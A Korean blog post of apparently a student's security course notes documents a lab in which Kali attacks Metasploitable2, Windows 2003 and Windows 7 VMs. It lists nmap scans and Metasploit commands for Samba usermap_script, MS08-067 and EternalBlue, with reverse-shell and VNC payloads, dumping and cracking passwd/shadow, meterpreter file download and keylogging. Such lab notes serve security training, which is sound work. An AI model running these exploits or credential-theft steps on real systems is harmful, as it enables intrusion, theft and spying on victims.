1.1 취약점 분석 및 진단
1단계) 포트 스캐닝
- 열린포트를 확인 : 어떤 서비스가 실행중인지 파악(관리자가 실행하지 않은 서비스가 실행중일 경우 위험)
- 오래되어서 취약한 서비스 확인 : 버전 확인
- 종류 : IP 스캔, TCP 스캔(Open), SYN 스캔(Half-Open), UDP 스캔, X-mas/FIN/Null, OS, Version, All Scan 등
2단계) 취약점 조사
- 구글
- 취약점 제보 사이트 : http://www.exploit-db.com
- 취약점 전문 업체들 ex. Rapid7 : Metasploit 판매
- 취약점 공식 웹사이트 : http://cve.mitre.org
3단계) 스크립트를 활용한 상세스캐닝
- Kali Linux의 nmap 스크립트 활용
$cd /usr/share/nmap/scripts
$sudo find . -name "*취약점*" → 어떤 스크립트를 사용할 것인지 find
$sudo nmap --script=[스크립트 이름] [target host] -p [포트번호]
→ vulnerable (진짜 취약함)
4단계) Metasploit을 이용해 exploit을 해보는 단계
$sudo msfconsole
msf6> search [취약점]
msf6> use [공격모듈] → 공격 모듈 장착
msf6> info → 장착한 모듈에 대한 설명
msf6> set rhosts [타겟호스트]
msf6> set lhost [공격 호스트] → Reverse Connection(트로이목마) 등을 사용하는 페이로드인 경우
msf6> set payload [페이로드] → 페이로드 설정(어떤 방식으로 공격할지 설정)
msf6> show options → 지금까지 설정한 내용이 올바른지 확인
msf6> exploit → 공격 시작
1.2 실습 준비
- Kali Linux, Metasploitable2 실행
* Payload 선택시 참고
- 공격 모듈에 기본 장착되어있으면 별도로 설정 X
- Rapid7에서 Perl Script를 Ruby로 재구조화 → Ruby 스크립트가 더 잘 동작
- cmd/unix/generic을 선택하면 무난하게 동작
1.3 실습 - 6667 포트의 취약점 진단, exploit
$sudo nmap -A 192.168.5.131 -T4
- 6667포트 : irc - 채팅 프로그램(취약한 버전)
- 스크립트 실행(3단계)
→ 트로이목마를 사용 → 공격호스트 설정, reverse 페이로드 설정
- reverse 페이로드 설정
- lhost(공격호스트) 설정
- show options로 확인 후 exploit
* Backdoor : Attacker가 Victim에 접속 → 페이로드 중 bind가 들어간 것 사용
Trojan horse : Victim이 Attacker에 접속 (Reverse Connection) → 페이로드 중 reverser가 들어간 것 사용
1.4 실습 - Samba 취약점 찾기
- SMB(Server Message Block)는 Windows에서 Windows간에 파일 및 폴더를 공유하는 프로토콜
- SMB를 Linux에서도 활용하기 위해 만든 것 : SaMBa
- Windows 계정을 Linux 계정과 일치시켜 권한을 부여하면 파일을 리눅스에 백업, 복사 가능(부서 공유 서버로 활용)
1단계) 스캐닝
$sudo nmap -A 192.168.5.131
- 445포트에서 SAMBA 버전 3.0.20 사용
2단계) 검색
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution
공식취약점 번호 : CVE-2007 -2447
3단계) 상세스캐닝
→ 해당 스크립트는 없음을 확인 (3단계가 없으므로 4단계 실행)
4단계) Exploit
msf6> search samba // 25개 나옴
msf6> search cve-2007-2447 //cve 코드를 이용하면 정확하게 확인 가능
msf6> use exploit/multi/samba/usermap_script
msf6> info //스크립트 설명
msf6> set rhosts 192.168.5.131 // rhost 설정
msf6> set lhost 192.168.5.129 // lhost 설정
msf6> show payloads //default payload : cmd/unix/reverse_netcat → 페이로드 따로 설정해줄 필요 X
msf6> exploit
*공격 성공후에 모든 계정 크래킹
cat /etc/passwd
root~마지막 blackpink-sh 까지 블럭설정(드래그) - copy selection
새 탭을 열고 (file-new tab) sudo vi passwd - paste Clipboard - :wq
cat /etc/shadow
root부터 마지막 blackpink-:::까지 블럭설정 - copy selection
새 탭에서 sudo vi shadow - paste clipboard - :wq
→ 파일을 가져오기 어렵기 때문에 Meta2의 passwd와 shadow를 읽어들여서 kali에 새파일로 저장
$sudo unshadow passwd shadow > meta2.pass
$sudo john meta2.pass // 패스워드를 찾아줌
→ 스페이스바 누르면 진행상태 출력
* John the Ripper
- 패스워드 트래킹 도구
- 리눅스 : passwd와 shadow를 가지고있으면 패스워드를 크래킹해줌
- Window : sam 파일이 있으면 패스워드를 크래킹해줌(sam 파일은 windows 실행중에는 복사/삭제/열기 불가)
1.5 실습 - Windows 2003의 취약점을 찾아서 Exploit
1단계) 스캐닝
$sudo nmap -A 192.168.5.141
→ SMB 취약점 확인
3단계) 상세 스캔
$sudo nmap --script=smb-vuln-*.nse 192.168.5.141 // SMB취약점 스크립트 한번에 실행
$sudo nmap --script=smb-vuln-ms08-967.nse 192.168.5.141
→ 취약함을 확인
4단계) Exploit
msf6> search ms08-067
msf6> use exploit/windows/smb/ms08_067_netapi // 모듈 장착
msf6> info // 장착된 모듈 정보 확인
→ 445번 포트를 대상으로 공격
msf6> set rhosts 192.168.5.141
msf6> set payload windows/shell/bind_tcp
msf6> set lhost 192.168.5.129
msf6> exploit
* 에러코드에 Rex가 나올경우 2003 가상머신 재부팅
* 악성코드 Stuxnet에서 사용한 취약점
- 4개의 zeroday Exploit과 2개의 Oneday Exploit을 이용해서 윈도우를 통해 전파
- 이란에 있는 우라늄 농축시설을 운영하는 Siemens사의 PLC의 동작을 교란시키는 악성코드
- PLC는 프로그램된 로직 컨트롤러를 이용해 동작
1.6 Windows 7에 있는 취약점
준비)
- Windows 7 가상머신 설치
- john/윈도12#$
1단계) 스캐닝
$sudo nmap -sn 192.168.5.129-140
$ping 192.168.5.132
→ ttl = 128 이면 윈도우
$sudo nmap -A 192.168.5.132
→ SMB1과 SMB2가 같이 사용되고 있음 (SMB1의 취약점을 가짐)
3단계) 스크립트를 이용한 스캐닝
$sudo nmap --script=smb-vuln-* 192.168.5.132 //SMB 취약점 모두 검색
→ MS17-010 취약점이 있음 → MS17-010을 이용한 랜섬웨어의 이름 : WannaCry
4단계) Exploit
msf6> search ms17-010
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> set target 1
msf6> set rhosts 192.168.5.132
msf6> set lhost 192.168.5.129
msf6> set payload windows/x64/vncinject/reverse_tcp
msf6> set viewonly false // false : 원격조종 할 것, true : 보기만 할 것
msf6> exploit
→ VNC 창이 열리고 원격 조종 가능(처음엔 영어만 입력 가능하지만 Victim 쪽에서 한글 입력시 Attacker에서도 한글 입력 가능)
*취약점은 패치를 설치하면 해결됨 : 패치번호는 KB4013389 or Later(이후에 나온 패치에 포함된 경우도 있음)
*Windows
- windows7 이전 버전 : 자동 업데이트x → 수동으로 업데이트 해야함
- windows10 이후 버전 : 자동 업데이트 o → 취약점 바로 사라짐
1.7 Windows 7에 있는 취약점 - payload 변경
msf6> set payload windows/x64/meterpreter/reverse_tcp
msf6> exploit
1) 화면 캡쳐
meterpreter> screenshot // 파일이 저장됨 → /home/john 파일에 캡쳐한 사진
2) 디렉토리 만들기
meterpreter> mkdir C:/game
3) 파일 업로드하기
meterpreter> upload /usr/share/windows-binaries/nc.exe C:/game
4) 파일 다운로드 하기
meterpreter> download C:/users/john/documents/*.* /home/kali
*meterpreter : 리눅스 명령과 유사한 명령으로 윈도우 원격조종 가능
5) 키로깅(키 입력값 알아내기)
meterpreter> ps //윈도우의 프로세스 목록 확인
(Explorer.exe 프로세스의 맨 앞 번호 기억 : PID 1928)
(meterpreter 프로세스가 Explorer.exe 아래로 들어갈 예정)
meterpreter> migrate 1928
meterpreter> keyscan_start //키스캔 시작
meterpreter> keyscan_dump //키스캔 출력
meterpreter> keyscan_stop //키스캔 중단
meterpreter> exit //meterpreter 종료
'SK 쉴더스 루키즈' 카테고리의 다른 글
[SK 쉴더스] 네트워크 보안 7일차 -- 추가예정 (0) | 2022.09.26 |
---|---|
[SK 쉴더스] 네트워크 보안 6일차 (2) | 2022.09.26 |
[SK 쉴더스] 네트워크 보안 4일차 - 암호화, 취약점 분석 -- 추가예정 (1) | 2022.09.26 |
[SK 쉴더스] 네트워크 보안 3일차 - 암호화 -- 추가예정 (1) | 2022.09.26 |
[SK 쉴더스] 네트워크보안 2일차 -- 추가예정 (0) | 2022.09.26 |